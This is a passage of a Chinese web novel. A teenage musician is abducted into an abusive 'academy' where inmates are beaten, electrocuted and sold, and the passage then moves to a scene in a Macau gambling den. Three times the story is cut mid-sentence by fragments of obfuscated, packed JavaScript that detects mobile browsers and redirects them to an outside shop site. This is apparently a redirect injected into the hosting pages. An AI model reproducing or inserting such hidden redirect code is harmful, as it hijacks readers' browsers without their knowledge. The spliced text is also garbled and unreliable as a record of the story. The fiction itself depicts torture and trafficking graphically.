排练室里另外三个人也围拢过来,我们直接蹦了起来,抱成一团,像一群傻子一样又叫又跳。 “哪首歌?”平静下来,我问道。 “他们没指定,让带最拿手的。”李腾把电脑收回去。 我低头看看手里的谱子,我们最近在磨一首新歌,叫《Bitter Dawn》,苦黎明。歌词是我写的,曲子改了十七遍,刚定稿。 “就这首吧。”我说,“《Bitter Dawn》。” 离比赛还有一个月,刚好我爸去云南出差,要两个月才回来。我妈管不住我,这简直是为我量身定做的机会。我把头发染成了黄色,天天翘课练歌。我妈急得团团转,给我爸打电话告状,但我爸项目正紧,回不来。 现在想起来,那大概是我人生中最对不起我妈的一段时间。但那时候想不到这些,只觉得天时地利人和,该我成了。 我们五个人泡在烂尾楼里,没日没夜地练习。李腾的贝斯断过三次,鼓手的鼓槌打断一对,我的手指尖磨出血,随便一擦血,继续弹。北京五月的风带着沙,从没了玻璃的窗户灌进来,吹得谱子哗啦响。 日子一天天过去,比赛前夜终于来了。 那天晚上,我买好机票,收拾完行李,趁着我妈出门散步,留了纸条,然后蹑手蹑脚拉开家门,打算乘坐火车去我的梦想之地。 我知道等我妈回来,看到空荡荡的家肯定会哭。等我拿了名次,拿了奖金,第一个给她买她看中很久的那件羊毛衫。她一定会高兴的。 门一开,我爸站在外面。 我吓得一哆嗦,下意识闭上眼,过了几秒再睁开,他还站在那里,面无表情地看着我。 完了…… 我爸提前回来了,我的皮今晚怕是要交代在这儿了。 “……爸。”我颤抖着叫了声。 我爸朝我伸出手,我条件反射地缩了缩脖子,以为他要打我。结果他只是拿过我的行李箱,淡淡道:“不是要去比赛吗?走,我送你。” 说着,他还扫了一眼我头上的黄毛。 要不说我是他儿子呢,我太了解他了,他哪是送我去比赛?他是想送我上天。 我眼睛一转,连忙堆起笑:“爸,我突然想起我吉他变调夹忘拿了,那个特别重要,我现在去拿,马上就回来。” 说完我钻回自己房间,关上门就立刻掏出手机,拨通李腾的电话。 “哥们!”我压低声音,“我爸回来了,我可能要命丧九泉了。你们赶紧找到之前那首不用我唱的歌,今晚狂练!别管我了,一定要上台比赛!还有,真的对不起!” 李腾似乎很焦急地想说些什么,以他的性格,估计是想来车站接我。这哪能行?我没给他说话的机会,挂断电话手机一扔——听说这玩意能定位,就没带身上。然后我翻出窗户,管他三七二十一就跳了下去。 我家在二楼,落地时脚踝崴了一下,疼得我抽气。我爬起来就往胡同口跑,风声在耳边呼呼响,肺疼。 跑出几十米,我回头看了一眼。 三个穿着迷彩服的壮汉跟在我后面,边追边喊:“站住!别跑!” 我去,我跑得更快了,车站就在前面那条街,只要到了人多的地方,他们肯定抓不到—— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231671|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >接着我后领就被一只大手死死抓住,脚下一绊,整个人就被摁在水泥地上,额头磕破了皮,火辣辣地疼。两只胳膊被反拧到背后,疼得我动弹不得。 “我操你妈!”我脑子一热就骂,“你们他妈谁啊?绑架?!” 话没说完,脸上挨了结结实实一嘴巴,耳朵嗡嗡作响,什么也听不清了。 我爸的皮鞋走到我面前,我艰难地抬起头,看见我妈站在他身后。两个人手挽着手,脸上带着笑,像正往幸福的未来走,完全没在乎地上眼冒金星的亲儿子。 “麻烦你们了。”我听见我爸对壮汉说,“黄教官、孙教官、刘教官,这小子最皮了,到了那边一定会想办法逃走,你们可要看好了。” “放心。”那个刘教官接过我爸递来的烟,转头示意另外两个人把我拖起来,“等时间一到,一定还你们一个优秀乖巧的儿子。” 我被拖上一辆白色面包车,透过车窗,我看见我爸妈转身回家的背影,一次头都没有回。 车开了,黄教官在前面开车,孙教官和刘教官一左一右押着我,我连车门把手都够不到。我清了清嗓子,小声开口:“那个……各位爷,咱这是去哪儿啊?” 刘教官笑了笑:“去好地方。” 后来我再这么问,他们都不理我了。问急了,就给我一巴掌。我闭上嘴,脸贴着冰凉的座椅,看着窗外景色从城市变成郊区,从郊区变成荒野。 我在车上硬是呆了七个小时,中途迷迷糊糊睡了一觉,醒来时窗外天已经黑了。荒郊野岭的,偶尔能看到一些穿着同样迷彩服的人往同一个方向走。还能听见狗叫声,远远近近的,还有一些听不清的鬼哭狼嚎的声音。 凌晨两三点,车到了山东,停了。 我被拽下车,冷风一吹,清醒了大半。 眼前是一片建筑群,楼不高,四五层的样子,大门口挂着牌匾,上面写着“竹翰学院”。我被押进去,才发现楼的走廊上都装着铁栅栏,栅栏间隙小得连手都伸不出去。 一共有四栋楼,面对面,中间是个很大的水泥操场。从那里走过去时,我看见几个穿着黑白校服的学生,他们正举着轮胎站在操场上。 其中一个男孩,大概十三四岁,撑不住晃了一下。他身后的教官抬起脚,狠狠踹在他背上。 男孩往前扑出去,滚了好几圈,轮胎脱手飞出去老远。他爬起来,脸上全是灰,嘴角破了,血混着泥。他踉跄着走回去,把轮胎重新举起来,手臂抖得更厉害了。 我下意识要开口,旁边的刘教官按住我的肩膀:“怎么?想替他挨打?” 我咽了口唾沫,挤出笑:“教官,我听话的话,不用挨打吧?” 刘教官说:“不仅不用挨打,听话,就能从这儿出去,回家。” 听话就能离开?好,我信。 又走过一栋楼,铁皮门,窗户都用木板钉死了。但里面传来惨叫声,有男有女,还有电流的滋啦声,像电蚊拍打在虫子身上的声音。 我脖子后面的汗毛立刻竖起来了。 我靠,这里还有电击室? 他们带我到一个空教室,让我把衣服全脱了,我照做,他们把我从头到脚检查了一遍,连鞋垫都抽出来看,没找到什么违禁品,最后扔给我一套黑白校服,我老老实实穿上,甚至还低头谢谢教官。 刘教官拍了拍我的脸:“真乖,那就不剃你头发了。以后我就是你主教官了,你在二班。” 我弯腰低头:“谢谢刘教官。” 乖你妈,等老子出去,找机会回来把你头发一根一根拔光。 300.竹翰学院 男生宿舍在一号楼,大通铺,三十多人一间,上下铺并在一起。床单单薄,被子硬邦邦的,一股霉味。我进去时,所有人都睡着了,或者说是闭着眼装睡,反正不敢抬头来看。 “你睡这儿。”刘教官指了指一张空下铺,“明天五点起床,五点十分必须到操场集合。迟到一秒钟,后果自负。” 说完他就走了,我在床上躺下,床板硌得慌。余光瞥见旁边下铺的男生偷偷睁开一条缝看我。 我伸手越过栏杆,碰了碰他,还没来得及说话,就听见那男生小声说:“你动静小点,教官也睡这里。” 我扭头看门口那边,才发现还有几张床铺铺着不一样的被子,几个教官躺着,其中一个还睁着眼,正要往这里看。 我连忙缩回手躺下去,透过上铺的缝隙能看见一点天花板,天花板很矮,白灰剥落,露出一块一块水泥底子。月光从高处的铁栅栏窗户照进来,在地上切出几道光。 过了一会儿,我小声问:“兄弟,你怎么来这儿的?” “网瘾,加混混。”他直接开口,“来这儿的要不就是混子,要不就是同性恋,要不就是心理有毛病的,你是啥?” “……叛逆?厌学?”我想了想。 那男生说道:“你就做好过苦日子的准备吧。” 我那时候心高气傲,哪儿能想到以后会发生什么:“教官说听话就能出去,我顶多在这儿呆两周。” 他冷笑一声,没再说话。 现在想起来那时候的我,我也想笑。 但我当时是真信,信听话就能出去,信只要装得够乖,够顺从,就能回到原来的生活,继续弹吉他,继续跟李腾他们在烂尾楼里吼歌。我以为我会像电影里的英雄一样,忍辱负重两周,然后潇洒离开。 第二天,我正式在竹翰学院生活。 早上五点起床,去操场站两小时,不能动,不能晃。七点吃早饭。上午上课,就是《弟子规》、《孝经》什么的,背不下来就挨揍。下午军训,站军姿,走正步,跑圈,教官经常过来踢人。晚上睡觉时间不定,教官心情好,十一点熄灯,心情不好,拉到操场上跑步,两三点再回去。 一人犯错,全体受罚。大冬天用冰水往身上浇,大夏天在烈日下站一整天。鞭子抽在身上皮开肉绽,我亲眼看见一个学员被抽得呼吸困难,他身边的瓷砖地板都裂了缝。 吃的饭里经常能看见铁丝和虫子,不吃不行,闹绝食更不行。当时三班来了个新学员,绝食了三天,被黄教官单手拎起来,一脚踹到食堂另一头的餐桌上。几个助教把他头摁地上,抡起棍子就打。打了三天,他趴在地上吐血,被拉去打营养液,后来就跟我们一起老老实实吃饭了。 周围被高压电网围着,有人逃跑,就会被电下来。学校里有电击室和禁闭室,禁闭室里只有监控摄像头,还有老鼠和蟑螂,我有幸进去过一回。 “听话就能出去”这句话我信了一天有一天,我对着教官点头哈腰,他们骂我我还得笑着说“谢谢教官教诲”。我当了一个月的够狗,还拿到了“进步之星”,有些老学员看我的眼神越来越怪,像看畜生,我不在乎,我很快就能出去,远走高飞了,管他们呢。 那天晚上我兴奋得睡不着,以为自己明天就能出去。我那么听话,让干啥干啥,辱骂我都弯腰道谢,给教官当狗当得毫无尊严,不就是为了早点出去吗? 第二天一睁眼,还是竹翰学院的上铺。 我当狗的样子被几个老学员看见了,某天晚上我上厕所,被他们堵住了。 五个人把我围在墙角,为首的是个高个子,比我高半个头。 “听说你很会舔啊?”他掐着我脖子,把我摁墙上,“教官的鞋是不是都被你舔干净了?真乖啊,随歌。” 我喘不过气,眼前一片花白。 另外几个人笑起来,其中一个矮个子掏出打火机,点燃一支烟,吸了一口,然后把烟头按在我胳膊上。我疼得浑身一颤,但脖子被掐着,叫不出声。 “你不是喜欢当狗吗?”那人松开一点,让我喘口气,“来,跪下来狗叫几声,我们就放过你。” 我跪倒在地上,捂着脖子大口呼吸,耳朵开始耳鸣。 学狗叫?怎么可能?我死也不叫。 “手挺好看。”没等我反应过来,其中一个人盯着我的右手,忽然笑道:“听说你来之前是玩乐队的?那你的手肯定很重要吧?” 我心里一咯噔,爬起来就要跑,两个人上来又按着我的肩膀,把我脸朝下重重按在地板瓷砖上。为首的高个子踩住的我右手,用鞋底碾着我的手指。恨疼,钻心的疼。 他又碾了一下,我听见自己手指关节咔吧响了一声。 真的,我真的怕了。 无论如何,都不能动我的手。只要我的手还在,我的未来就还在。 我哑着嗓子叫了两声,他们松开我,大笑起来,像听到了世界上最好笑的笑话。临走前踹了我一脚:“以后见我们一次叫一次,听见没?” 我趴在地上,等他们走了,才慢慢爬起来。右手手指肿了,动一下都疼,但应该没骨折。我走到洗手池边,拧开水龙头,没有水。 我便抬头去看镜子里的自己,脸色惨白,眼睛里有血丝。我看着自己,忽然觉得陌生。 这是我吗?那个抱着吉他唱歌的随歌?那个有一百多万粉丝的随歌?那个说要带着乐队去星竞晚会的随歌? 这里每个月会给家长写信报平安,都是教官念我们写,没有任何机会给家长求救。之前一班有个学员在信里面偷偷写了求救的话,被教官发现了,进了电击室。一整个晚上,我们宿舍都能听见他的惨叫,所有人都睁着眼不敢睡。 我受不了了,我跪下来给刘教官磕头,边磕边哭,我求他放我走。我真的崩溃了,我装不下去了,在这里每一天都是煎熬,看不到尽头,我怕我再呆下去,会真的变成一条狗。 刘教官没说话,继续抽烟。我跪着往前挪,眼泪留下来:“教官,求您了,我想回家……让我回家好不好?我想我妈……” 他忽然抬起腿,一脚将我踹翻在地上,又走过来抓着我的头发逼我抬起头,看着我恶狠狠道:“怎么?装这么久,装不下去了?平时不是说什么要留在这里乖乖听话吗?这才一个多月,就想走了?” 他的手指很粗糙,抓得我头皮生疼,刚刚被踹的胸口也疼。我见过他发脾气的样子,此时此刻近距离看着他充满怒气的面容,吓得浑身一僵,大脑一片空白,也顾不上哭了,推开他爬起来就跑。他在后面笑,幸好没追上来扇我。 那天之后,我见到他就躲。 我开始失眠,夜里睁着眼看着黑暗,想家,想乐队,想那场没参加的比赛。李腾他们去了吗?成绩怎么样?《Bitter Dawn》还能唱吗? 时间变得模糊,日复一日的训练、挨打、背诵、写信。季节变化只有从窗户看到的树叶子颜色能分辨,春天来了,又走了。 我很少再想家了,偶尔想起来,也只是个模糊的概念。父母的脸在记忆中淡了,有时候夜里努力回想,却只记得我爸妈离我而去的背影。 该恨他们吗?我不知道,或许是我太淘气,他们实在没办法,才能把我囚禁在这里。我恨他们也没用,还是出不去。 我也很久没弹吉他了,乐队、音乐、星竞晚会,仿佛都成了上辈子的事。 十二月份的时候,北京下了第一场雪。我们在操场夜训,雪花落在睫毛上,化成水。学院门口停了一辆没有牌照的大巴。车门打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231672|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,下来了一群穿着病号服的孩子。 “都给我看清楚!”一个穿白大褂男人吼道,“这就是不听话的下场!” 我一脸懵地看着这一幕,那些病人被分散带到各个班级,观看教官的“下马威”。我们班分到了其中一个小姑娘。 她大概十四五岁,很瘦,头发长长的。当时几个助教正在殴打我们班没站直的学生,她面无表情地站在前面看着,像早就习惯,甚至经常经历这种场面。 过了一会儿,我们班一个女生撑不住了,腿一软跪在地上。刘教官抬起腿就踹,那女孩忽然挪了一下,偷偷帮她挡了几下。趁着教官不注意,她弯下腰抚起学员,垂眼低声说了句什么,学员哭着点头。 后来我知道她叫初与序。 那些人只待了半小时就被带回大巴车上,走的时候,初与序回头看了我们一眼,便上了车。 我以为只会见到她一次,但一周后,初与序又被送来了,还换上了黑白校服,进了我们二班。 直到这时,我才发现她没表面上那么听话,刚来第一天,就破了学员挨打记录——一天被揍三次,和教官自由搏击,我们班有几个人差点都被她带起反抗了,当然没成功。 那时她性格还是很开朗温柔的,我在永冬之城的前几次循环里,见到的她就和当时差不多。 那天晚上在食堂,我偷偷凑过去:“Hi,你怎么又来了?” 她看了我一眼,扬了扬眉毛:“和别人越狱失败,被送过来……体验?应该可以这么说。” “体验?就这么送过来了?”我惊讶道,“待多久?” “就一天。” 果然,第二天她就被大巴接走了。 后来在永冬之城我明白过来了,竹翰学院和善佑医院他妈是一伙的,医院的孩子不听话,就会被送到这儿来待一天,回去时保证听话。 我在竹翰学院又继续呆,春夏秋冬,操场上的草枯了又绿,绿了又枯。学员们有的出去了,有的转去了别的班,有的……不见了。 来这儿第二年,五月份的时候,我另一边空床铺来了新人。 他也是半夜被送来的,棕色头发,戴着花里胡哨的耳钉,只不过手脚被绑着。刘教官把他扔在床上,看他暂时不挣扎了,解开绳子。下一秒他就猛地从床上弹起来,拔腿就往门口冲。 结果当然是被按住了,三个教官围着他打,他趴在地上,还在骂人:“去你大爷的戒同所!给老子放……放开!我对象还在外面等我!放老子出去!” 勇气可嘉。我当时已经有些麻木了,躺在床上面无表情地看着,心想这人只要待两周,就知道什么叫人间险恶了。 后来他被拖进了电击室,叫了一整晚,先是骂,后来是惨叫,再后来没声了,只有电击的滋啦滋啦声,断断续续。 第二天早上,他被人架着来到教室,扔在我旁边的座位上。我扫了他一眼,他脸上全是伤,青一块紫一块,血都还没干。 教官让他坐下听课,讲《孝经》。他坐得笔直,但明显不再听,看看窗外,看看天花板,就是不看黑板,和我当年上学的得一拼。 课间休息时,我小声道:“别看了,跑不掉的。” 他扭头看我,咧嘴一笑,“你也是被抓进来的?” “嗯。” “因为啥?” “厌学,搞乐队。”我说。 “我是同性恋。”他自然道,“我还有对象呢,高富帅,就是冷冰冰的。” 我愣了愣,他看我表情,笑道:“怎么?没见过同性恋?” “见过,但……” “但没想到这么帅?”他挑了挑眉。 我忍不住笑了,我觉得他真的和以前的我有点像,也是这么不要脸。 301.活着 聊了一会儿,我弄清楚了。这人叫苏叶,和我是老乡,高中在我以前读的五中。被送来是因为被他爸妈发现了他和他对象江意谈恋爱,当场打电话,晚上他就被绑来了。 “我操,我当时还在睡觉呢,”他咬着牙愤愤道,“一睁眼三个大汉按着我,我还以为我被绑架了。结果是我爸妈找的人。” “我对象那几天心情不好,跟我闹分手呢。当时下雨他又没带伞,我都怕他感冒,还等着第二天回学校哄他,结果给我干这儿来了。” 苏叶刚来第一天,也破了记录。初与序是一天挨三次打,他是一天挨六次,要是初与序现在还待在学院里,他俩一定有共同话题,联合起来造反,当然结局不知道。 我记得其中一次,刘教官把他叫到操场上,当着全班的面问他:“你喜欢男生,是不是错了?” 苏叶背挺得笔直:“没错。我喜欢的就是男生,没错。” 教官手里的鞭子就挥了下来,呼呼作响,抽在身上一道血印子。 “错没错?” “没错。” 又是一鞭,这次抽在腿上,苏叶单膝跪了下去,又站起来。 “错没错?” “错——你——大爷——” 他被助教们按在地上,张嘴去咬人,鞭子雨点一样落下来,他的校服很快就裂开了,地下的皮肉翻起来,血把校服染成红色。刘教官大概是打累了,或者觉得再打下去真的要出人命,终于停了。 苏叶趴在那儿半天没动,后来慢慢撑起胳膊,抬起头,脸上全是土和血,但眼睛亮得像烧了火。他对着教官的方向,用口型骂了几句。 我当时站在队伍里,手心里全是冷汗。我从来没见过这么犟的人。 后来我问他为什么不服软,他躺在我旁边的下铺上,看着窗外那点惨淡的月光,龇牙咧嘴地笑:“认错了,就等于说我和意哥那几年是错的,那我不成王八蛋了吗?我那么爱他,错个屁” “再说了,那些杂碎总不能真把我打死在这儿吧?” 那天之后,我和苏叶成了好兄弟。我发现这人真是恋爱脑,十句话离不开江意——江意喜欢冰淇淋,江意怕冷,江意喜欢喝酒但身体原因喝不了,江意笑起来很好看…… 他人也仗义,后来有几次那些学院又来找我麻烦,他会挡在我前面将他们赶走。虽然大多数时候都是我们俩一起被揍……但他至少敢还手,挺好的。 日子因为苏叶的到来好过了一点儿,他一直想办法逃,画地图,观察教官换班时间,甚至拉着我试过挖墙。当然没成功,墙是实心的。 “等我出去,第一件事就是去找意哥,他肯定急坏了。”他说,“然后报警,把这破地方端了,妈的,一群傻叉。” 我说:“算我一个。” 他说:“行,我还要听你乐队的歌曲。” 过了一段时间,我慢慢发现,教官们对我的态度有点不太一样了。 集体受罚时,他们会把我单独叫出来,说随歌不用,他最近表现好。吃饭时,我碗里偶尔会多几片肉,或者一个完整的鸡蛋。训练时,他们不再盯着我挑刺,甚至还会对我笑。 同伴一个女孩也有同样的待遇,我们叫她小雨,长得眼清秀,眼睛大大的,不爱说话。 我偷偷和她讨论过教官们最近诡异的举动,最后得出的结论是,因为我们快毕业了,教官在给我们养伤,好让家长来接时看不出痕迹。 现在想来,真他妈天真。 第二年七月初,一天晚上熄灯后,苏叶悄悄凑到我边上:“随歌,我发现了点东西。” “啥啊?”我困得迷迷糊糊,翻了个身,差点一巴掌扇在他脸上。 “这地方不光是戒同所,戒网所什么的。”苏叶扒开我的手,一字一句道,“他、们、在、卖、人。” 我浑身血液刹那成冰,困意消失不见,一骨碌起身:“什么鬼?” “我偷听到教官聊天了。”他后怕地说,“说最近一批学员不错,尤其是二班那几个,长得好看,听话的能卖好价钱,他们说的‘毕业’,我觉得根本就不是回家去。” 我不敢猜测什么,结结巴巴道:“你你你你……你别瞎想啊……” “我瞎想个毛线!”他急道,“你想想,那些说毕业被接走的人,你后来听说过他们的消息吗?一个都没有!还有小雨,你记得吗?上周她说她爸妈要来接她了,高兴得哭了。结果呢?昨天我听刘教官跟院长说,小雨的手续办好了,今晚就送走。” 我脑子嗡嗡响。小雨确实不见了,没人知道她去哪儿了,教官说她“提前毕业”了。 苏叶按住我肩膀,看着我的眼睛:“我昨晚溜去院长办公室,门没关严,我听见他们在说什么‘新星未来’集团,什么‘拍卖’。随歌,这地方是地狱,我们不能等死。” “那你想怎么样?”我压低声音询问。 “再去一趟办公室。”他坚定地说,“找证据,什么都行,只要有证据,就能报警。” 我沉默了一会儿,说:“太危险了。” “留在这儿更危险!”他道,“你看不出来吗?他们对你好,是因为你被选上了。下一个就是你,或者我,或者我们俩一起!” 我看着他的眼睛,那里面有不甘,不甘心就这么消失,不甘心再也见不到江意,不甘心死在这鬼地方。 “好。”我说。 第二天晚上,我们等到了凌晨两点。教官查完最后一轮房,回去睡了。鼾声响起,我和苏叶在黑暗中对视了一眼,悄悄下床。 走廊很长,只有尽头一盏应急灯。院长办公室在一楼最里面,我们贴着墙走,小心翼翼的,甚至不敢呼吸太大声。 到门口了,苏叶试了试门把手,锁着。他从兜里掏出一根铁丝,弯成钩子形状,插进锁孔。我后来在永冬之城的开锁技术,还是跟他学的。 门被他打开,里面很黑,我们反手关上门。办公室不大,一张办公桌,两个文件柜,一个保险箱。我们俩分头行动,苏叶翻桌子,我翻文件柜。 文件柜没有锁,拉开,里面是一沓文件夹。我随手抽出一本,打开。 第一页是学员信息表,贴着照片,是个很漂亮的女孩子,才十五岁。下面有详细资料,什么身高体重,血型,健康状况,特长爱好…… 翻到后面,有一张“评估表”。上面列着项目:服从度、外貌评级、智商测试、心理稳定性……最后一行是“处置建议”,写着:「A级,适合定制为私人助理,起拍价30万。」 我手抖得拿不住纸,继续往后翻。 剩下的几本大同小异,有男有女,有的写着「适合器官移植」,有的写着「适合艺术收藏」,有的干脆就是「实验体07号」。 “随歌。”苏叶忽然在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231673|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边叫我,尾音有些战栗,“你看这个。” 他手里拿着一份文件,甲方是“竹翰学院”,乙方是“新星未来教育集团”。条款密密麻麻,但核心就一条:竹翰学院负责培训,新星未来负责销售,利润六四分成。 下面还有附件,是合作方名单:某国军方实验室、顶级私人医疗集团、地下拍卖行…… “这、这他妈是人口贩卖……”我咬牙道,“跨国的人口贩卖……” 苏叶把手电照向保险箱,他蹲下去又开始尝试开锁,这次花了更长时间,但终于打开了。 保险箱里只有一叠文件,最上面是一份名单:「近期可处置名单」,我和苏叶的名字都在上面。 「随歌,男,17岁,评级A,备注:外形出色,有艺术特长,适合定制为观赏性收藏品,建议保留部分记忆以增强互动性,预估价值40万-70万。」 「苏叶,男,17岁,评级A,备注:性格刚烈,适合作为高风险实验体或惩罚性展示品,预估价30万-40万。」 “快拍照。”苏叶把手机塞给我,他不知道怎么藏了一部旧手机,没卡,只能拍照。我手抖得厉害,对了好几次焦才拍清楚。 刚拍完,门外忽然传来脚步声。 我们对视一眼,同时往窗口冲。但窗户也装着铁栅栏,根本出不去。 门被踹开了,灯光大亮,刺得我睁不开眼。院长站在门口,身后跟着刘教官、黄教官等人,还有我们宿舍的一个学员。 那学员指着我们,满脸得意:“院长,就是他们俩,晚上不睡觉,偷偷来这儿。” 院长走进来,看了看被翻乱的文件柜:“你们,胆子不小。” “我去你妹的!”苏叶对着那举报的学员破口大骂,刘教官冲过来,一巴掌扇在他脸上,他被打得撞在墙上,想还手,但立刻被黄教官按住了,反剪双手,膝盖顶在他后腰上。 “带下去。”院长挥挥手,“电击室,好好问问他们看到了什么。 我和苏叶被拖进不同的电击室,他就在我隔壁。电击室是正方形,顶多五平米,白墙壁发黄发霉,上面还有血迹。中间的椅子是铁制的,四个角都有铁环,连着锁链和皮带。扶手两侧伸出几根电线,缠在一起。 在竹翰学院这一年里,我听过很多电击室的事。那些被拖进去的人,有的出来就疯了,有的从此不敢抬头看人,有的一提到“电”这个字就浑身发抖。但我之前没进去过,一次都没有,我太听话了,太会装孙子了,他们舍不得在我身上浪费电。 现在,我和苏叶给他们搞了个大的,电击椅就在我面前。 我被一脚踹在地上,门关上,水泥地贴着我的脸。 过了一会儿,门又被打开,刘教官走进来,身后跟着两个助教。他们换了一件工装,手里拿着一个黑色的盒子,像老式收音机,上面有旋钮,有指示灯,还连着两根电线。 一个助教走过来,拽着我的胳膊将我拖到椅子上,用椅子上的皮带绑住我的手脚和腰部。接着,他们在我的胸口和手腕内侧贴上了电极片,冰得我有些发抖。 刘教官走到我面前,弯腰看我。 “随歌,”他冷冷道,“告诉我,你在院长办公室看到了什么?” 我咬紧牙关,没开口。 刘教官笑了一下,他走到铁皮桌边,手指放在黑色盒子上,然后按下了开关。 302.昨日港 初与序独自站在客厅中央。 整面墙的落地玻璃外是开阔的海景,这里离赌场很远,隔音又好,听不见任何喧嚣。房子是冷色调的,灰白搭配,不知道其他几个房间装饰得怎么样,总之客厅简洁空旷,有“随便拉开一个抽屉就能翻出烟和胃药”的气质。 她随便往旁边一扫,有个矮柜抽屉没关。仔细一看,还真放着一盒奥美拉唑和一包卡比龙。 初与序:“……” 正好齐无尽从书房出来,见她看着那儿:“要不要?” “谢谢,不用。”初与序抬手拒绝,“我不抽这个。” 齐无尽笑了一下,走到沙发边坐下,自己抽出一根低头咔嚓点上:“那你抽什么?” “万宝路。”初与序也在旁边的单人沙发上坐下。 齐无尽向后靠进沙发里,一只手夹着烟,另外一只手随意搭在扶手上:“你很喜欢小孩么?” “不喜欢。”初与序说,“但你妹妹这样有礼貌又长得可爱的,我很喜欢。” 齐无尽仰起头,望向天花板:“……我已经六年没亲眼看到她扑进我怀里,叫我‘哥哥’了。” 初与序觉着齐无尽讲这话时快要哭出来,但一看他,这人好端端睁着眼,还是八风不动别人欠他八百万的样子,把泪全咽到心里去了。 之前在永冬之城,除了江意进没人知道齐无尽的过去,他自己也从来不提,干什么都独来独往的。初与序只能从江意偶尔露出的三言两语中凑出个大概:他很小的时候和妹妹被卖到了澳门,有一位女荷官收养了他们。后来女荷官被杀害,一年后齐无尽才成年,船票都买好了,过几天就要带着齐无恙离开澳门,齐无恙却不知道怎么着也去世了。齐无尽便一个人留在澳门,进永冬之城的时候才二十一,刚够进赌场的年纪。 现在这副本,大概就是他妹妹出事的前几天。 “莫楠的事情,具体是什么情况?”初与序问。 齐无尽深吸了一口烟,淡淡道:“我十四岁的时候,和我妹一起被卖到这里。楠姐直接把我们买了下来,带我们去了她家里。当晚她问我——” 记忆猛地拽着他往回跌。 那天晚上,客厅灯光昏暗,莫楠坐在他对面,点了根烟。她盯着齐无尽一头红发看了半天,又盯着镜子里她自己红色的短发看了半天,面色说不上来的奇怪,齐无尽提心吊胆了一个小时,生怕她后悔了,又把自己和妹妹退回去。 莫楠大腿翘二腿,忽然一撩秀发,开门见山:“小子,你叫啥?” 他回答:“齐无尽。” 莫楠点了点头,想了下,还是没叫他的名字,伸出食指和中指:“现在你面前有两条路。” 她伸手把一本课本推过来:“一条,和你妹妹一起去读书,考出去,但这期间我不一定能完全罩得住你们。” “另一条,”她又把一边堆着的筹码推过来,“跟我进赌场,往上爬,认识这儿有权的人,赢得他们的信任。他们能护着你和你妹妹。在你成年前,保你们俩绝对安全。” 齐无尽毫不犹豫道:“我跟你去赌场。” “——你没到二十一,怎么进的赌场?”初与序的话把齐无尽拉回现实。 齐无尽回过神,解释道:“在赌场最顶层,还有个不对外公开的地方,叫永乐宫,仅凭邀请进入。” “那里不玩寻常的□□或骰宝,而是进行定制赌局,赌注可能是古董名画、公司股权,包括某些秘密的归属权。服务那里的都是精挑细选的私人荷官,楠姐就在那里工作,是里头最拔尖的人。” “她带我去找了主事的九爷,推荐了我,九爷点了头,暂时同意我先在那儿学。慢慢的,那里的赌客们对我产生兴趣,我成为了几位大佬的御用荷官,也知道了一些秘密。身份和年龄全被抹掉,档案保密。我算是卖给永乐宫了,过去没有,将来也绑在那里。但能换很长一段时间的安全,权利地位也高了。” 齐无尽窝在沙发里,有些游离:“后来我十七岁的时候,与我一起在楠姐手下做事的同事某天突然来家里,说楠姐在牌桌上出了千,死了。我赶过去的时候,只来得及看见他们把她的尸体拖走,工作人员就不让我再追了。” “那牌局一看就不对劲,楠姐在去之前也没和我提过。她出千手艺很高,也很少出千,怎么会就那么被发现,然后死了?后来一段时间我一直在查这个案子,但什么都查不到。” 初与序听完,沉吟片刻,站起身:“带我去永乐宫看看。” 齐无尽把烟摁灭:“我怎么带你进去?九爷一定会问,他这么多年不允许这一片地区的人谈论楠姐的事情。” “就说我是海外来的朋友。”初与序头也不回,“有执行官发的身份卡,不会露馅。” 齐无尽认命似的叹了口气,回头朝着书房里的齐无恙喊了一声:“无恙,哥出去一趟,马上回来。”就抓起车钥匙跟了上去。 永乐宫在半岛西侧一栋黑色玻璃幕墙建筑里,齐无尽直接开进了地下三层专用车库,已经有两名穿着黑色西装的保安等在电梯口。 保安看见齐无尽,又瞥了眼他身后初与序,立刻侧身让开,微微颔首:“齐先生。” 按正常时间线,齐无尽现在该是十八岁。执行官把两人身份证年龄都改成了二十五,但没同时把他们样貌改变,这些保安没有发现他们其实是穿越回来的,也没查初与序的证件。 电梯直上顶层,走廊铺着地毯。齐无尽在一扇双开门前停下,敲了三下。 “进!”里面传来一道中气十足的男声。 齐无尽推门进去,办公室很大,整面落地窗外是灰蒙蒙的海天一色。红木办公桌,后面坐着个中年男人,深色皮肤,戴着墨镜,浅胡茬,后脑勺扎着个小辫子,身上还披了一件棕色貂绒大袄,很像□□老大。 “九爷。”齐无尽恭敬地叫了一声。 